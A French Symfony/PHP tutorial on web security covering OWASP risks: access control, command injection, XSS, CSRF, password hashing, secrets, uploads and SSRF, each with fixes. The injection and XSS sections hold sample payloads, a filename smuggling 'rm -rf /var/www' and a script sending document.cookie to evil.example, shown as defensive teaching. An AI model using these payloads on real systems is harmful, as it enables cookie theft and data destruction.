← Toutes les fiches

Fiche 10 Parcours : le web Lecture : 25 minutes

La sécurité web

Savoir ce que Symfony protège déjà, et repérer ce qui reste de ta responsabilité.

Les fiches précédentes ont déjà signalé une dizaine de risques : l'injection SQL, le jeton CSRF, la comparaison ==, l'affectation de masse, les identifiants qu'on devine. Cette fiche les rassemble, les range par famille, et complète ce qui manque.

La bonne nouvelle : Symfony, Doctrine et Twig te protègent déjà contre beaucoup d'attaques, à condition de ne pas désactiver ces protections. La sécurité ne demande pas d'être un expert. Elle demande surtout des réflexes, et de se poser une question à chaque fonctionnalité : « qu'est-ce qu'un utilisateur malveillant pourrait faire avec ça ? »

À propos des exemples de cette fiche

Les démonstrations en PHP pur (contrôle d'accès, échappement, mots de passe, jetons) ont été exécutées. Elles ne lancent aucune commande système et n'envoient rien sur le réseau. Les extraits Symfony, Twig et YAML sont des illustrations, non exécutées.

1.Penser comme un attaquant

L'OWASP (Open Worldwide Application Security Project) est une fondation qui publie le Top 10 des risques les plus fréquents dans les applications web. Voici l'édition 2021, avec la section de cette fiche qui en parle. Une nouvelle édition peut être parue depuis : vérifie sur owasp.org, les grandes familles changent peu.

Risque (OWASP 2021)En une phraseOù
A01 Contrôle d'accès défaillantUn utilisateur accède à ce qui ne lui appartient pasSection 2
A02 Défaillances cryptographiquesDes données sensibles mal protégées, des mots de passe mal hachésSections 5 et 6
A03 InjectionUne saisie devient du code : SQL, commande, HTML (XSS)Section 3
A04 Conception non sécuriséeLa faille est dans la règle métier elle-mêmeFiche 3 (quantité négative)
A05 Mauvaise configurationMode debug en production, en-têtes manquantsSection 7
A06 Composants vulnérablesUne dépendance avec une faille connueSection 7
A07 Authentification défaillanteMots de passe devinables, pas de limite d'essaisSection 5
A08 Intégrité du logiciel et des donnéesDu code ou des données chargés sans vérificationSection 7
A09 Journalisation et surveillance insuffisantesL'attaque passe inaperçueFiche 13
A10 SSRFLe serveur est poussé à appeler une adresse choisie par l'attaquantSection 8

Trois principes reviennent dans toutes les sections :

  1. Ne jamais faire confiance à ce qui vient de l'extérieur : paramètres, corps de requête, en-têtes, cookies, noms de fichiers. Tout se falsifie.
  2. La défense en profondeur : plusieurs protections indépendantes, pour qu'une seule erreur ne suffise pas. Par exemple une validation PHP, plus une contrainte en base (fiche 7).
  3. Le moindre privilège : chaque utilisateur, service ou compte de base de données n'a que les droits dont il a besoin.

2.Le contrôle d'accès : la faille numéro un

Bob consulte sa facture à l'adresse /facture/1043. Par curiosité, il essaie /facture/1042. Si l'application se contente de trouver la facture et de l'afficher, il lit celle d'Alice. C'est un IDOR (Insecure Direct Object Reference, référence directe non sécurisée) :

exemples/10/idor.php
<?php

declare(strict_types=1);

// Des factures, chacune appartenant à un utilisateur
$invoices = [
    1042 => ['ownerId' => 1, 'amountInCents' => 8970],   // facture d'Alice (id 1)
    1043 => ['ownerId' => 2, 'amountInCents' => 9580],   // facture de Bob (id 2)
];

// ✗ On trouve la facture… et on la renvoie, sans se demander à qui elle appartient
function showInvoiceUnsafe(array $invoices, int $invoiceId, int $currentUserId): string
{
    $invoice = $invoices[$invoiceId] ?? null;
    if ($invoice === null) {
        return '404 Introuvable';
    }

    return "200 Facture $invoiceId : {$invoice['amountInCents']} centimes";
}

// ✓ Même code, plus UNE vérification : la facture appartient-elle à l'utilisateur connecté ?
function showInvoice(array $invoices, int $invoiceId, int $currentUserId): string
{
    $invoice = $invoices[$invoiceId] ?? null;
    if ($invoice === null || $invoice['ownerId'] !== $currentUserId) {
        return '404 Introuvable';   // même réponse : on ne révèle pas que la facture existe
    }

    return "200 Facture $invoiceId : {$invoice['amountInCents']} centimes";
}

// Bob (id 2) change le numéro dans l'URL : /facture/1043 devient /facture/1042
echo 'Sans contrôle : ', showInvoiceUnsafe($invoices, 1042, currentUserId: 2), "\n";
echo 'Avec contrôle : ', showInvoice($invoices, 1042, currentUserId: 2), "\n";
echo 'Sa propre facture : ', showInvoice($invoices, 1043, currentUserId: 2), "\n";
Sortie
Sans contrôle : 200 Facture 1042 : 8970 centimes
Avec contrôle : 404 Introuvable
Sa propre facture : 200 Facture 1043 : 9580 centimes

La correction tient en une condition, mais il faut y penser à chaque route qui reçoit un identifiant. Remarque aussi la réponse : 404 plutôt que 403, pour ne pas confirmer à Bob que la facture 1042 existe.

Dans Symfony, cette règle a sa place dans un Voter : une classe qui répond à la question « cet utilisateur a-t-il le droit de faire cette action sur cet objet ? ». C'est le pattern Strategy de la fiche 6.

exemples/10/InvoiceVoter.php · illustration, non exécuté
<?php

declare(strict_types=1);

namespace App\Security;

use App\Entity\Invoice;
use App\Entity\User;
use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
use Symfony\Component\Security\Core\Authorization\Voter\Voter;

// La règle « qui peut voir une facture » écrite UNE fois, et testable seule (fiche 3)
final class InvoiceVoter extends Voter
{
    public const string VIEW = 'INVOICE_VIEW';

    protected function supports(string $attribute, mixed $subject): bool
    {
        return $attribute === self::VIEW && $subject instanceof Invoice;
    }

    protected function voteOnAttribute(
        string $attribute,
        mixed $subject,
        TokenInterface $token,
    ): bool {
        $user = $token->getUser();
        if (!$user instanceof User) {
            return false;   // visiteur non connecté
        }

        return $subject->getOwner() === $user;
    }
}

// Dans le contrôleur, une ligne suffit :
//     #[IsGranted(InvoiceVoter::VIEW, 'invoice')]
//     public function show(Invoice $invoice): Response { … }
Les autres formes du même problème

3.Les injections et le XSS

Une injection se produit quand une donnée fournie par l'utilisateur est interprétée comme du code par un autre système : la base de données, le shell, ou le navigateur. La parade est toujours la même idée : garder la donnée séparée du code.

Le SQL

Vu en détail dans la fiche 7 : des requêtes préparées, toujours. Avec Doctrine, setParameter() ; jamais de concaténation dans une requête DQL ou SQL.

Les commandes système

exemples/10/command_injection.php
<?php

declare(strict_types=1);

// On ne lance AUCUNE commande ici : on regarde seulement la chaîne qui serait exécutée.
$filename = 'photo.jpg; rm -rf /var/www';   // un nom de fichier choisi par un attaquant

// ✗ Collé dans la commande : le « ; » termine la commande, et la suite s'exécute
echo 'Concaténé  : convert ', $filename, " thumbnail.jpg\n";

// ✓ escapeshellarg : la valeur entière devient UN seul argument, entre apostrophes
echo 'Échappé    : convert ', escapeshellarg($filename), " thumbnail.jpg\n";
Sortie
Concaténé  : convert photo.jpg; rm -rf /var/www thumbnail.jpg
Échappé    : convert 'photo.jpg; rm -rf /var/www' thumbnail.jpg

Ce script n'exécute aucune commande : il affiche seulement celle qui serait lancée. Le point-virgule tapé par l'attaquant termine la commande prévue, et la suite s'exécuterait avec les droits de PHP. escapeshellarg() transforme la valeur en un seul argument. Mieux encore, le composant Process de Symfony n'utilise pas de shell du tout :

exemples/10/process.php · illustration, non exécuté
<?php

use Symfony\Component\Process\Process;

// Avec le composant Process, chaque argument est un élément du tableau :
// aucun shell n'interprète la ligne, donc rien à échapper et rien à injecter.
$process = new Process(['convert', $uploadedPath, $thumbnailPath]);
$process->mustRun();

Le XSS

Le XSS (Cross-Site Scripting) est une injection dans le navigateur : un texte saisi par un utilisateur est affiché dans une page, et le navigateur l'exécute comme du JavaScript, avec les droits de la victime.

exemples/10/xss.php
<?php

declare(strict_types=1);

// Un commentaire saisi par un visiteur
$comment = 'Super <script>fetch("https://evil.example/?c=" + document.cookie)</script>';

// ✗ Affiché tel quel : le navigateur EXÉCUTE le script
echo "Brut :\n  <p>$comment</p>\n\n";

// ✓ Échappé : les caractères spéciaux deviennent du texte inoffensif
$safe = htmlspecialchars($comment, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "Échappé :\n  <p>$safe</p>\n\n";

// Mais l'échappement ne suffit pas partout : dans un lien, « javascript: » reste dangereux
$website = 'javascript:alert(document.cookie)';
$escaped = htmlspecialchars($website, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "Lien échappé, toujours dangereux :\n  <a href=\"$escaped\">mon site</a>\n\n";

// Pour une URL, on vérifie aussi le protocole
$scheme = strtolower((string) parse_url($website, PHP_URL_SCHEME));
echo 'Protocole autorisé ? ', in_array($scheme, ['http', 'https'], true) ? 'oui' : 'non', "\n";
Sortie
Brut :
  <p>Super <script>fetch("https://evil.example/?c=" + document.cookie)</script></p>

Échappé :
  <p>Super &lt;script&gt;fetch(&quot;https://evil.example/?c=&quot; + document.cookie)&lt;/script&gt;</p>

Lien échappé, toujours dangereux :
  <a href="javascript:alert(document.cookie)">mon site</a>

Protocole autorisé ? non

Twig échappe automatiquement tout ce qu'il affiche. Il reste trois façons de se tirer une balle dans le pied :

exemples/10/comment.html.twig · illustration, non exécuté
{# Twig échappe automatiquement : le script s'affiche comme du texte #}
<p>{{ comment.content }}</p>

{# |raw désactive cette protection : à réserver à du HTML que TU as produit et nettoyé #}
<p>{{ comment.content|raw }}</p>

{# Dans un href, l'échappement ne bloque pas « javascript: » :
   valide l'URL à l'enregistrement #}
<a href="{{ comment.authorWebsite }}">site de l'auteur</a>
  1. Le filtre |raw désactive l'échappement. Réserve-le à du HTML que tu as produit toi-même, ou nettoyé avec le composant HtmlSanitizer de Symfony.
  2. Les URL : l'échappement ne bloque pas javascript:. Valide les adresses à l'enregistrement (contrainte #[Assert\Url]), en n'acceptant que http et https.
  3. Le JavaScript : du code JS qui insère une saisie avec innerHTML contourne Twig. Utilise textContent.

Un XSS permet de voler ce que voit la victime, d'agir à sa place, ou de lire un jeton stocké dans le localStorage (fiche 9). Le cookie HttpOnly et une politique de sécurité du contenu (section 7) limitent les dégâts.

4.Le CSRF : agir à la place de l'utilisateur

Alice est connectée à ta boutique. Elle visite un autre site, qui contient un formulaire caché envoyé automatiquement vers https://shop.example.com/compte/email. Son navigateur joint son cookie de session : la boutique change son e-mail, et l'attaquant n'a plus qu'à demander un nouveau mot de passe. C'est le CSRF (Cross-Site Request Forgery, falsification de requête intersite).

Une attaque CSRF : un autre site agit au nom d'Alice Alice est connectée à la boutique. Elle visite un site piégé, dont la page contient un formulaire caché. Ce formulaire s'envoie tout seul vers la boutique, et le navigateur y ajoute le cookie de session d'Alice. Sans protection, la boutique change l'e-mail d'Alice. Avec un jeton CSRF ou un cookie SameSite=Lax, la requête est refusée. Alice son navigateur Site piégé evil.example Ta boutique shop.example.com ① Alice est connectée : son navigateur garde le cookie de session ② elle visite evil.example ③ une page avec un formulaire caché ④ POST /compte/email, envoyé tout seul le navigateur ajoute de lui-même le cookie de session de la boutique Sans protection l'e-mail d'Alice est changé Avec un jeton CSRF ou SameSite=Lax la requête est refusée
Schéma 10.1 · Une attaque CSRF : un autre site agit au nom d'Alice
  1. Le jeton CSRF : chaque formulaire contient une valeur aléatoire liée à la session, que l'autre site ne peut pas connaître. Les formulaires Symfony l'ajoutent et le vérifient automatiquement.
  2. Un formulaire écrit à la main doit l'ajouter (fiche 2), et le contrôleur doit le vérifier :
exemples/10/csrf_controller.php · illustration, non exécuté
<?php

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Attribute\Route;

// Un formulaire écrit à la main (fiche 2) : le contrôleur vérifie le jeton lui-même.
// Avec un formulaire Symfony (FormType), cette vérification est automatique.
final class NewsletterController extends AbstractController
{
    #[Route('/newsletter/subscribe', methods: ['POST'])]
    public function subscribe(Request $request): Response
    {
        $token = $request->getPayload()->getString('_token');
        if (!$this->isCsrfTokenValid('newsletter_subscribe', $token)) {
            throw $this->createAccessDeniedException('Jeton CSRF invalide');
        }
        // … inscription …

        return $this->redirectToRoute('newsletter_thanks');
    }
}
  1. SameSite=Lax sur le cookie de session (fiche 9) bloque déjà la plupart de ces attaques : le cookie n'est pas envoyé avec un formulaire POST venu d'un autre site. C'est une deuxième protection, pas un remplacement du jeton.
  2. Jamais de modification en GET : une simple image <img src="…/supprimer"> déclencherait l'action.
Quand le jeton CSRF ne sert à rien

Une API authentifiée par un jeton dans l'en-tête Authorization, et non par un cookie, n'est pas exposée au CSRF : un autre site ne peut pas ajouter cet en-tête à la requête de la victime. Le jeton CSRF ne se justifie que lorsque le navigateur envoie l'authentification tout seul, c'est-à-dire avec un cookie.

5.Mots de passe et authentification

Une base de données fuit un jour ou l'autre : une sauvegarde mal rangée, une injection, un ancien collègue. Ce jour-là, les mots de passe ne doivent pas être lisibles, ni faciles à retrouver.

exemples/10/password.php
<?php

declare(strict_types=1);

$password = 'exemple-fictif-42';   // jamais de vrai mot de passe dans un exemple

// ✗ md5 (ou sha1, ou sha256 seul) : rapide à calculer, et identique pour deux comptes
echo "md5, deux fois :\n  ", md5($password), "\n  ", md5($password), "\n\n";

// ✓ password_hash : lent volontairement, et un « sel » aléatoire différent à chaque fois
$first = password_hash($password, PASSWORD_DEFAULT);
$second = password_hash($password, PASSWORD_DEFAULT);
echo "password_hash, deux fois :\n  $first\n  $second\n\n";

// La vérification retrouve le sel et le coût dans l'empreinte elle-même
echo 'Bon mot de passe : ', var_export(password_verify($password, $first), true), "\n";
echo 'Mauvais          : ', var_export(password_verify('autre-chose', $first), true), "\n";

// Le jour où l'algorithme par défaut évolue, on met à jour l'empreinte à la connexion suivante
$needsRehash = password_needs_rehash($first, PASSWORD_DEFAULT);
echo 'À recalculer ?   : ', var_export($needsRehash, true), "\n";
Sortie
md5, deux fois :
  76ed765af0d67db2e3a8771b8a407507
  76ed765af0d67db2e3a8771b8a407507

password_hash, deux fois :
  $2y$12$.HR4Dozv8VkNgOwYGtnPSOiIL6DmLyiXKPi6mkHLmS82DhdniMP6S
  $2y$12$lfmFm4X5WQKc8qtSG61nves..LQJI5ymUdEk/fSJpbJG.viCeMIyC

Bon mot de passe : true
Mauvais          : false
À recalculer ?   : false
  1. Un hachage rapide comme md5 ou sha256 se calcule des milliards de fois par seconde : un attaquant essaie tous les mots de passe courants en quelques minutes. Et deux utilisateurs qui ont le même mot de passe ont la même empreinte.
  2. password_hash() est volontairement lent, et ajoute un sel aléatoire différent pour chaque empreinte. Le préfixe $2y$12$ indique l'algorithme (bcrypt) et son coût. Dans Symfony, le hacheur 'auto' choisit l'algorithme recommandé.
  3. Ne limite pas la longueur des mots de passe à 12 ou 16 caractères, et n'impose pas de règles compliquées : une phrase longue est plus sûre et plus facile à retenir.
exemples/10/security.yaml · illustration, non exécuté
# config/packages/security.yaml (extrait)
security:
    password_hashers:
        Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'

    firewalls:
        main:
            form_login:
                enable_csrf: true
            # Au-delà de 5 échecs, les tentatives sont bloquées un moment
            # (nécessite le composant RateLimiter)
            login_throttling:
                max_attempts: 5

Les jetons des liens « mot de passe oublié » ou de confirmation d'e-mail suivent les mêmes règles :

exemples/10/reset_token.php
<?php

declare(strict_types=1);

// Un lien « mot de passe oublié » : le jeton doit être imprévisible
$token = bin2hex(random_bytes(32));   // 64 caractères hexadécimaux, aléatoires
echo 'Jeton envoyé par e-mail : ', strlen($token), " caractères\n";

// En base, on ne garde que son empreinte : une fuite de la base ne donne aucun lien utilisable
$storedHash = hash('sha256', $token);

// Quand l'utilisateur clique sur le lien, on compare les empreintes en temps constant
$clicked = $token;
$isValid = hash_equals($storedHash, hash('sha256', $clicked));
echo 'Lien valide : ', var_export($isValid, true), "\n";

// ✗ À ne pas faire : rand(), mt_rand() ou uniqid() sont prévisibles
echo 'uniqid() ressemble à : ', uniqid(), " (il dépend de l'heure)\n";
Sortie
Jeton envoyé par e-mail : 64 caractères
Lien valide : true
uniqid() ressemble à : 6aecbc14dc1d1 (il dépend de l'heure)

Un jeton doit être imprévisible (random_bytes(), jamais rand() ni uniqid()), à usage unique, limité dans le temps, et seule son empreinte est gardée en base. Le bundle SymfonyCasts ResetPasswordBundle applique déjà toutes ces règles.

6.Les secrets

Un secret, c'est tout ce qui donne un accès : mot de passe de base de données, clé d'API, clé de chiffrement, APP_SECRET. Un secret qui fuit doit être considéré comme compromis.

exemples/10/secrets.txt · illustration, non exécuté
# .env          → commité : des valeurs par défaut, SANS secret réel
DATABASE_URL="postgresql://app:change_me@127.0.0.1:5432/app"

# .env.local    → jamais commité (.gitignore) : les valeurs de ta machine

# En production : le coffre chiffré de Symfony (commandes non exécutées ici)
#   php bin/console secrets:generate-keys --env=prod
#   php bin/console secrets:set DATABASE_URL --env=prod
# Le fichier de déchiffrement (prod.decrypt.private.php) ne doit JAMAIS être commité :
# il se dépose sur le serveur, ou passe par une variable d'environnement.
  1. Jamais de secret réel dans Git, même dans un dépôt privé : il reste dans l'historique pour toujours (fiche 4), et tous ceux qui clonent le dépôt y ont accès.
  2. Un secret différent par environnement : la clé de développement ne doit rien ouvrir en production.
  3. En production, le coffre chiffré de Symfony, ou des variables d'environnement fournies par l'hébergeur ou l'orchestrateur (fiche 12).
  4. Après une fuite, change le secret immédiatement (la rotation), avant même de nettoyer l'historique.
  5. Jamais de secret dans les logs, les messages d'erreur ou les pages de debug.

7.Configuration, en-têtes et dépendances

Beaucoup de failles ne viennent pas du code, mais de la façon dont l'application est configurée et de ce qu'elle embarque.

  1. APP_ENV=prod et APP_DEBUG=0 en production. La page de debug et le profiler affichent le code, les variables d'environnement et les requêtes SQL : ils sont un cadeau pour un attaquant.
  2. Des en-têtes de sécurité, ajoutés par le reverse proxy ou par l'application :
exemples/10/headers.http · illustration, non exécuté
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; img-src 'self' data:; frame-ancestors 'none'
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
  1. Les dépendances : composer audit liste les paquets installés qui ont une faille connue. Lance-le dans l'intégration continue, et mets à jour régulièrement : une faille corrigée depuis un an dans une bibliothèque reste exploitable chez toi tant que tu ne mets pas à jour.
  2. L'intégrité de ce que tu charges : composer.lock est commité, pour installer exactement les versions testées. Un script chargé depuis un CDN externe peut être protégé par l'attribut integrity.
Quand la CSP coûte cher

Une CSP stricte casse tous les scripts écrits directement dans le HTML et les outils externes non déclarés (statistiques, chat, paiement). Commence en mode observation (Content-Security-Policy-Report-Only), regarde ce qui serait bloqué, corrige, puis active-la vraiment.

8.Fichiers envoyés et SSRF

Les fichiers envoyés par les utilisateurs

Un formulaire d'avatar accepte « une image ». Un attaquant envoie un fichier avatar.php. S'il est rangé dans public/, il suffit de visiter son adresse pour que le serveur l'exécute : l'attaquant contrôle le serveur.

exemples/10/upload.php · illustration, non exécuté
<?php

use Symfony\Component\HttpFoundation\File\UploadedFile;
use Symfony\Component\Validator\Constraints as Assert;

final class AvatarUpload
{
    // 1. Valider la taille et le VRAI type du contenu, pas seulement l'extension annoncée
    #[Assert\File(maxSize: '2M', mimeTypes: ['image/jpeg', 'image/png', 'image/webp'])]
    public ?UploadedFile $file = null;
}

// 2. Un nom choisi par le serveur, jamais celui envoyé par l'utilisateur
$filename = bin2hex(random_bytes(16)) . '.' . $upload->file->guessExtension();

// 3. Rangé HORS du dossier public/ : servi ensuite par un contrôleur qui vérifie les droits
$upload->file->move($this->getParameter('kernel.project_dir') . '/var/uploads', $filename);
  1. Valide la taille et le type réel du contenu, pas l'extension ni le type annoncés par le navigateur, qui se falsifient.
  2. Choisis le nom du fichier côté serveur. Un nom comme ../../config/x.php peut sinon sortir du dossier prévu.
  3. Range les fichiers hors de public/, et sers-les par un contrôleur qui vérifie les droits (section 2). S'ils doivent être publics, sers-les depuis un domaine ou un stockage séparé, où PHP ne s'exécute pas.
  4. Méfie-toi des SVG : ce sont des images, mais elles peuvent contenir du JavaScript.

La SSRF

Une fonctionnalité « importer une image depuis une URL » fait télécharger une adresse par ton serveur. Un attaquant donne http://127.0.0.1:8080/admin ou l'adresse interne d'un service de métadonnées du cloud : ton serveur appelle pour lui des services qui ne sont pas accessibles depuis Internet. C'est la SSRF (Server-Side Request Forgery).

La SSRF : le serveur appelle ce que l'attaquant ne peut pas joindre Une fonctionnalité « importer une image depuis une URL » est prévue pour télécharger une image publique. L'attaquant donne à la place l'adresse d'un service interne, comme une interface d'administration ou le service de métadonnées du cloud. C'est le serveur qui fait la requête, depuis l'intérieur du réseau. Attaquant Ton serveur « importer une image depuis une URL » son URL Image publique cdn.example.com usage prévu Réseau interne Administration 127.0.0.1:8080 Métadonnées cloud 169.254.169.254 La requête part de TON serveur, de l'intérieur du réseau. Parade : http(s) seulement, et refus des adresses privées et locales.
Schéma 10.2 · La SSRF : le serveur appelle ce que l'attaquant ne peut pas joindre

Pièges fréquents

PiègeCe qui arriveLa parade
Trouver un objet par son id sans vérifier le propriétaireUn utilisateur lit les données d'un autreUn Voter, et un test qui le vérifie
Cacher un lien au lieu de protéger la routeL'URL tapée à la main fonctionneaccess_control ou #[IsGranted]
|raw sur un contenu saisiXSSL'échappement automatique, ou HtmlSanitizer
Une URL saisie affichée dans un hrefjavascript: exécuté au clicValider le protocole à l'enregistrement
Une saisie dans une commande shellInjection de commandeLe composant Process avec un tableau d'arguments
Un formulaire manuel sans jeton CSRFUn autre site agit au nom de l'utilisateurcsrf_token() et isCsrfTokenValid()
Des mots de passe en md5 ou sha1Retrouvés en minutes après une fuitepassword_hash, hacheur 'auto'
« Cet e-mail n'existe pas » à la connexionListe des clients devinableUn message d'erreur unique
Un jeton créé avec uniqid() ou rand()Jeton prévisiblerandom_bytes()
Un secret dans GitAccessible à tous, pour toujoursCoffre de secrets, rotation après fuite
APP_DEBUG=1 en productionCode et configuration exposésAPP_ENV=prod, APP_DEBUG=0
Des dépendances jamais mises à jourDes failles connues et publiquescomposer audit et mises à jour régulières
Un fichier envoyé rangé dans public/Un script PHP exécuté sur le serveurHors de public/, nom choisi par le serveur

Checklist avant une mise en production

Conseils

  1. Pose la question à chaque fonctionnalité : « qu'est-ce que je ferais si je voulais abuser de ça ? » Changer un identifiant, envoyer une valeur négative, un fichier inattendu, répéter la requête mille fois.
  2. Garde les protections par défaut. La plupart des failles dans une application Symfony viennent d'une protection désactivée « pour que ça marche » : |raw, un formulaire sans CSRF, une route oubliée dans access_control.
  3. Écris un test pour chaque règle d'accès : un autre utilisateur, un visiteur anonyme, un rôle insuffisant. C'est le meilleur moyen qu'une faille corrigée ne revienne pas.
  4. Lis l'OWASP Cheat Sheet Series sur le sujet qui te concerne : des fiches courtes et concrètes, une par problème.
  5. Si tu découvres une faille, dis-le. Corriger vite et prévenir les personnes concernées compte plus que de chercher un coupable.

Documentation officielle